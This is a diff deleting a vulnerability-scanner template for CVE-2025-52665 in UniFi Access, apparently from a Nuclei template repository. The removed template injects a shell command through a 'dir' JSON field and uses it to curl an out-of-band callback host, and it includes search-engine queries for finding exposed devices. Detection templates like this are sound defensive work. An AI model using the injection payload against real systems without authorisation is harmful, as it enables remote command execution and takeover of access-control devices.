Delete http/cves/2025/CVE-2025-52665.yaml

http/cves/2025/CVE-2025-52665.yaml

@@ -1,60 +0,0 @@
-id: CVE-2025-52665
-
-info:
-  name: UniFi Access - Broken Access Control
-  author: theamanrawat
-  severity: critical
-  description: |
-    UniFi Access Application 3.3.22 through 3.4.31 contains a broken authentication caused by misconfiguration exposing management API without proper authentication, letting attackers on management network access management functions, exploit requires network access.
-  impact: |
-    Attackers on the management network can access management APIs without authentication, potentially leading to unauthorized control of the system.
-  remediation: |
-    Update to version 4.0.21 or later.
-  reference:
-    - https://community.ui.com/releases/Security-Advisory-Bulletin-056-056/ce97352d-91cd-40a7-a2f4-2c73b3b30191
-    - https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-52665
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
-    cve-id: CVE-2025-52665
-    cwe-id: CWE-306
-  metadata:
-    max-request: 2
-    verified: false
-    shodan-query:
-      - 'http.html:"UniFi OS"'
-    fofa-query:
-      - 'body="UniFi OS"'
-  tags: cve,cve2025,unifi,rce,vuln
-
-flow: http(1) && http(2)
-
-http:
-  - raw:
-      - |
-        GET /api/ucore/backup/export HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 405'
-        internal: true
-
-  - raw:
-      - |
-        POST /api/ucore/backup/export HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/json
-
-        {
-          "dir": "/tmp/{{rand_text_alpha(5)}}-; curl -I http://{{interactsh-url}}; #"
-        }
-
-    matchers:
-      - type: word
-        part: interactsh_protocol
-        words:
-          - "dns"
-# digest: 4b0a00483046022100d362a963b230032258d76c341914f035ad26426e28120b6c62d15ee206fbaf44022100dbbc86666c4055258d8c1b854a05be5eb2f04950b4ecc6b537da714e62b560a1:922c64590222798bb761d5b6d8e72950